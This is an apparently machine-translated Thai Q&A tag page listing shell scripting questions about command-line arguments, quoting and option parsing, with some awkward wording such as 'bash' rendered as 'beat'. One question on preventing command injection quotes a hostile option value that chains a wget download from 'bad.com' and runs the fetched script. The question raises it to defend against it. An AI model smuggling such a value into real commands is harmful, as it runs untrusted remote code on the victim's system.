คำถามติดแท็ก arguments

โดยปกติแล้วอาร์กิวเมนต์จะถูกกำหนดเป็นค่าจริงที่ส่งผ่านไปยังฟังก์ชันโพรซีเดอร์หรือโปรแกรมบรรทัดคำสั่ง

2
วิธีลบพารามิเตอร์ตำแหน่งจาก $ @
โดยทั่วไปฉันต้องการ "ถอนออก" เกิดขึ้นครั้งแรก-infจากรายการพารามิเตอร์ (พารามิเตอร์ที่เหลือจะถูกส่งผ่านไปยังคำสั่งอื่น) สคริปต์ที่ฉันมีมีโครงสร้างต่อไปนี้: #!/bin/sh <CODE> for POSITIONAL_PARAM in "$@" do <CODE> if [ "$POSITIONAL_PARAM" = '-inf' ] then <PLUCK $POSITIONAL_PARAM FROM $@> break fi <CODE> done <CODE> some-other-command "$@" # end of script มีวิธีที่ดีในการทำเช่นนี้? BTW แม้ว่าฉันสนใจส่วนใหญ่อยู่ในคำตอบที่ใช้บังคับกับฉันสนใจยังอยู่ในคำตอบเฉพาะ/bin/sh/bin/bash

3
วิธีการป้องกันการฉีดคำสั่งผ่านตัวเลือกคำสั่ง?
ฉันมีแอปพลิเคชัน wrapper ที่ฉันต้องการให้ผู้ใช้ระบุตัวเลือกที่กำหนดเองเพื่อส่งผ่านไปยังโปรแกรมจำลอง อย่างไรก็ตามฉันต้องการให้แน่ใจว่าผู้ใช้ไม่ได้ฉีดคำสั่งอื่น ๆ ผ่านตัวเลือกผู้ใช้ วิธีที่ดีที่สุดในการทำสิ่งนี้ให้สำเร็จคืออะไร? ตัวอย่างเช่น. ผู้ใช้ให้: -a -b แอปพลิเคชันดำเนินการ: mysim --preset_opt -a -b อย่างไรก็ตามฉันไม่ต้องการให้สิ่งนี้เกิดขึ้น: ผู้ใช้ให้: && wget http:\\bad.com\bad_code.sh && .\bad_code.sh แอปพลิเคชันดำเนินการ: mysim --preset_opt && wget http:\\bad.com\bad_code.sh && .\bad_code.sh ขณะนี้ฉันคิดว่าฉันสามารถล้อมรอบตัวเลือกผู้ใช้ทุกคนด้วยเครื่องหมายอัญประกาศเดี่ยว'และตัดเครื่องหมายอัญประกาศใด ๆ ที่ผู้ใช้ให้ดังนั้นคำสั่งในตัวอย่างสุดท้ายจะกลายเป็นอันตราย: mysim -preset_opt '&&' 'wget' 'http:\\bad.com\bad_code.sh' '&&' '.\bad_code.sh' หมายเหตุ: mysimคำสั่งดำเนินการโดยเป็นส่วนหนึ่งของเชลล์สคริปต์ในคอนเทนเนอร์ docker / lxc ฉันใช้ Ubuntu

4
ฉันจะแยกอาร์กิวเมนต์ตัวเลือกในสคริปต์ทุบตีหากไม่มีการสั่งซื้อได้อย่างไร
ฉันสับสนวิธีรวมอาร์กิวเมนต์ / แฟล็กเผื่อเลือกเมื่อเขียนสคริปต์ทุบตีสำหรับโปรแกรมต่อไปนี้: โปรแกรมต้องการสองอาร์กิวเมนต์: run_program --flag1 <value> --flag2 <value> อย่างไรก็ตามมีแฟล็กเผื่อเลือกหลายรายการ: run_program --flag1 <value> --flag2 <value> --optflag1 <value> --optflag2 <value> --optflag3 <value> --optflag4 <value> --optflag5 <value> ฉันต้องการเรียกใช้สคริปต์ทุบตีเพื่อให้ได้อาร์กิวเมนต์ของผู้ใช้ หากผู้ใช้ป้อนเพียงสองอาร์กิวเมนต์ตามลำดับก็จะเป็น: #!/bin/sh run_program --flag1 $1 --flag2 $2 แต่จะเกิดอะไรขึ้นถ้ามีอาร์กิวเมนต์ตัวเลือกใด ๆ รวมอยู่ด้วย? ฉันคิดว่ามันจะเป็น if [ --optflag1 "$3" ]; then run_program --flag1 $1 --flag2 $2 --optflag1 $3 …

4
ทำไมไม่ใช้หลายคำสั่งด้วย || หรือ && ทำงานตามเงื่อนไขหรือไม่
ใช้งานได้ในเชลล์ (ทุบตี, เส้นประ) [ -z "" ] && echo A || echo B A อย่างไรก็ตามฉันพยายามเขียนเชลล์สคริปต์POSIXมันเริ่มต้นดังนี้: #!/bin/sh [ "${#}" -eq 1 ] || echo "Invalid number of arguments, expected one."; exit 1 readonly raw_input_string=${1} [ -z "${raw_input_string}" ] && echo "The given argument is empty."; exit 1 และฉันไม่รู้ว่าทำไม แต่ฉันไม่ได้รับข้อความ : อาร์กิวเมนต์ที่ให้นั้นว่างเปล่า …

2
การต่อสตริงสตริง Bash ใช้เพื่อสร้างรายการพารามิเตอร์
รับชิ้นส่วนทุบตีนี้: PARMS='-rvu' PARMS+=" --delete --exclude='.git'" echo $PARMS rsync ${PARMS} . ${TARGET} echo แสดงสตริง PARMS ตามที่คาดไว้จะไม่มีข้อผิดพลาดปรากฏขึ้น แต่ rsync จะทำหน้าที่อย่างเงียบ ๆ ราวกับไม่มีตัวเลือกที่เพิ่มโดย + = อยู่ อย่างไรก็ตามทำงานได้ตามที่คาดไว้: PARMS='-rvu' rsync ${PARMS} --delete --exclude='.git' . ${TARGET} ฉันเดาว่าฉันทำอะไรบางอย่างกับคำพูดทุบตี (มักจะมีปัญหากับสิ่งเหล่านั้น) แต่ไม่แน่ใจว่าอะไรและทำไมตัวเลือกถูกละเว้นแม้ว่าสตริงดูเหมือนว่าจะถูกสร้างขึ้นอย่างถูกต้อง

3
ฉันจะสร้างข้อโต้แย้งไปยังคำสั่งอื่นผ่านการทดแทนคำสั่งได้อย่างไร
ติดตามจาก: พฤติกรรมที่ไม่คาดคิดในการทดแทนคำสั่งเชลล์ ฉันมีคำสั่งที่สามารถใช้รายการของการขัดแย้งขนาดใหญ่ซึ่งบางอย่างสามารถมีช่องว่างที่ถูกต้องตามกฎหมาย (และอาจเป็นอย่างอื่น) ฉันเขียนสคริปต์ที่สามารถสร้างข้อโต้แย้งเหล่านั้นสำหรับฉันด้วยเครื่องหมายคำพูด แต่ฉันต้องคัดลอกและวางผลลัพธ์เช่น ./somecommand <output on stdout with quoting> ./othercommand some_args <output from above> ฉันพยายามทำให้เพรียวบางนี้โดยทำ ./othercommand $(./somecommand) และพบพฤติกรรมที่ไม่คาดคิดตามที่กล่าวถึงข้างต้น คำถามคือ - สามารถใช้การทดแทนคำสั่งได้อย่างน่าเชื่อถือในการสร้างอาร์กิวเมนต์เพื่อothercommandให้ข้อโต้แย้งบางอย่างจำเป็นต้องมีการเสนอราคาและสิ่งนี้ไม่สามารถเปลี่ยนแปลงได้?

3
วิธีรันคำสั่งซ้ำ ๆ ด้วยอาร์กิวเมนต์ที่ต่างกัน?
ฉันใช้ Ubuntu ฉันคัดลอกบางอาร์กิวเมนต์ (คั่นด้วย newline) และฉันสามารถใช้xselเพื่อพิมพ์ออกมาเช่นนี้ $ xsel arg1 arg2 arg3 arg4 ... ตอนนี้ฉันต้องการใช้แต่ละอาร์กิวเมนต์เหล่านี้สำหรับคำสั่งอื่นและดำเนินการคำสั่งนั้นหลายครั้งตามที่มีข้อโต้แย้ง ดังนั้นฉันจึงพยายาม $ xsel | mycommand "constantArgument" $1 อย่างไรก็ตามสิ่งนี้ดำเนินการmycommandสำหรับอาร์กิวเมนต์แรกเท่านั้น ฉันจะรันมันสำหรับทุก ๆ การโต้แย้งได้อย่างไร?

3
มีวิธีง่าย ๆ ในการบันทึกคำสั่งทั้งหมดที่ดำเนินการรวมถึงอาร์กิวเมนต์บรรทัดคำสั่งหรือไม่
ฉันกำลังพยายามค้นหาวิธีการบันทึกอินสแตนซ์เฉพาะของrrdtoolเพื่อดูว่าเส้นทางที่ได้รับนั้นไม่ถูกต้อง ฉันรู้ว่าฉันสามารถตัดคำสั่งปฏิบัติการในเชลล์สคริปต์ที่จะบันทึกพารามิเตอร์ แต่ฉันสงสัยว่ามีวิธีเฉพาะเคอร์เนลเพิ่มเติมเพื่อตรวจสอบว่าอาจจะโทรกลับระบบไฟล์ที่เห็นเมื่อเฉพาะ / proc / pid / exe ตรงกับไบนารีที่กำหนด?
11 logs  proc  arguments  audit 


1
ลบไฟล์ที่เก่ากว่า 500 วัน
ฉันมีไดเรกทอรีพร้อมไฟล์จากปี 2010 .. ฉันต้องการลบไฟล์ทั้งหมดที่เก่ากว่า 500 วันและฉันลองทำสิ่งนี้: find /var/log/arc/* -type f -mtime +500 -delete {}\; แต่ฉันได้รับสิ่งนี้: -bash: /usr/bin/find: Argument list too long ฉันรู้ว่านี่หมายความว่ามีไฟล์มากเกินไปและfindไม่สามารถจัดการได้ แต่ถึงฉันจะใส่+2000อันไหนมากกว่า 3 ปีฉันก็ยังได้ สิ่งที่ฉันหายไปที่นี่

2
ส่งผ่านข้อโต้แย้งไปยังฟังก์ชั่นตรงตามที่เป็นอยู่
ฉันมีฟังก์ชั่นต่อไปนี้: bar() { echo $1:$2; } ฉันกำลังเรียกฟังก์ชั่นนี้จากฟังก์ชั่นอื่น , foo. fooตัวเองเรียกว่าดังนี้: foo "This is" a test ฉันต้องการรับผลลัพธ์ต่อไปนี้: This is:a นั่นคือข้อโต้แย้งที่ได้รับควรจะราชสกุลเดียวกันกับที่ผมผ่านเข้าไปbarfoo จะfooต้องมีการดำเนินการอย่างไรเพื่อให้บรรลุเป้าหมายนี้? ฉันได้ลองใช้งานสองแบบต่อไปนี้ แต่ก็ไม่ได้ผล: foo() { bar $*; } - เอาท์พุท: this:is foo() { bar "$*"; } - เอาท์พุท: this is a test: คำถามของฉันคือวิธีที่ฉันสามารถรักษาข้อโต้แย้ง เป็นไปได้ทั้งหมดหรือไม่

3
วิธีการส่งไฟล์ที่พบโดยหาเป็นข้อโต้แย้ง?
ก่อนอื่นให้ตัดคำตอบที่ไม่สำคัญ แต่ไม่เหมาะสม: ฉันสามารถใช้เคล็ดลับfind+ xargsหรือชุดรูปแบบ (เช่นเดียวfindกับ-exec) เพราะฉันต้องใช้การแสดงออกเช่นนี้ต่อการโทรเล็กน้อย ฉันจะกลับมาที่นี่ในตอนท้าย ตอนนี้เป็นตัวอย่างที่ดีกว่าลองพิจารณา: $ find -L some/dir -name \*.abc | sort some/dir/1.abc some/dir/2.abc some/dir/a space.abc ฉันจะส่งต่อสิ่งเหล่านี้เป็นอาร์กิวเมนต์ไปยังได้programอย่างไร เพียงทำมันไม่ได้ทำเคล็ดลับ $ ./program $(find -L some/dir -name \*.abc | sort) ล้มเหลวเนื่องจากprogramได้รับอาร์กิวเมนต์ดังนี้ [0]: ./program [1]: some/dir/1.abc [2]: some/dir/2.abc [3]: some/dir/a [4]: space.abc ดังที่เห็นได้เส้นทางที่มีช่องว่างถูกแยกออกและprogramพิจารณาว่าเป็นอาร์กิวเมนต์ที่ต่างกันสองรายการ อ้างถึงมันใช้งานได้ ดูเหมือนว่าผู้ใช้มือใหม่เช่นตัวฉันเองเมื่อเผชิญกับปัญหาดังกล่าวมักจะเพิ่มคำพูดแบบสุ่มจนกว่าจะได้ผลในที่สุด - เฉพาะที่นี่ดูเหมือนจะไม่ช่วย ... "$(…)" $ …

4
เชลล์สคริปต์สามารถพิมพ์อาร์กิวเมนต์โดยอ้างอิงตามที่คุณต้องการเขียนลงในพร้อมท์เชลล์หรือไม่
ในเชลล์สคริปต์ความเข้าใจของฉันคือการ"$@"ขยายไปยังอาร์กิวเมนต์ของสคริปต์โดยอ้างอิงตามที่ต้องการ เช่นนี้ส่งต่อข้อโต้แย้งสคริปต์เพื่อ gcc: gcc -fPIC "$@" <<<แม้ว่าการใช้ไวยากรณ์ bash pass-to-stdin นั้น"@$"ไม่ได้ผลอย่างที่ฉันคาดไว้ #!/bin/bash cat <<< "$@" เรียกสคริปต์ตามที่./test.sh foo "bar baz"ให้ไว้ foo bar baz ฉันคาดหวัง foo "bar baz" มีวิธีเขียนเชลล์สคริปต์ที่พิมพ์อาร์กิวเมนต์เป็นคุณจะเขียนไว้ใน shell prompt หรือไม่ ตัวอย่างเช่น: คำใบ้เกี่ยวกับคำสั่งที่จะใช้ถัดไปรวมถึงอาร์กิวเมนต์ของสคริปต์ในคำใบ้

4
ผ่านหลายไดเรกทอรีไปยังตัวเลือก -prune ในการค้นหา
ฉันใช้findเพื่อค้นหาและลบไฟล์สำรองข้อมูล แต่ต้องการแยกไดเรกทอรีบางอย่างออกจากการค้นหา ชื่อไฟล์สำรองข้อมูลอาจยุติใน.bck, bak, หรือ~backup โค้ดตัวอย่างการทำงานขั้นต่ำ (MWE) ที่มีเพียงสามไดเรกทอรีที่ต้องแยกคือ: #! /bin/bash find . -type d \( -path "./.*" -o -path "./Music" -o -path "./Documents" \) -prune -o -type f \( -name "*.bck" -o -name "*.bak" -o -name "*~" -o -name "*.backup" \) -print0 | xargs -0 --no-run-if-empty trash-put \( -path "dir1" …

2
วิธีบัญญัติมาตรฐานเพื่อค้นหาความยาวรายการอาร์กิวเมนต์สูงสุดจริงคืออะไร
ต่อไปนี้ARG_MAX, ความยาวสูงสุดของข้อโต้แย้งกระบวนการใหม่ดูเหมือนว่าARG_MAXเป็นผิด (หรืออย่างน้อยมีเลศนัย) กำหนดไว้ใน Mac Mini 3,1 ใช้ Ubuntu 12.04 ฉัน: $ getconf ARG_MAX # arguments 2097152 $ locate limits.h | xargs grep -ho 'ARG_MAX[ \t]\+[0-9]\+' | uniq | cut -d ' ' -f 8 131072 ขีด จำกัด ที่แท้จริงดูเหมือนจะอยู่ระหว่าง: $ cd "$(mktemp -d)" $ touch $(seq 1 131072) && find …
โดยการใช้ไซต์ของเรา หมายความว่าคุณได้อ่านและทำความเข้าใจนโยบายคุกกี้และนโยบายความเป็นส่วนตัวของเราแล้ว
Licensed under cc by-sa 3.0 with attribution required.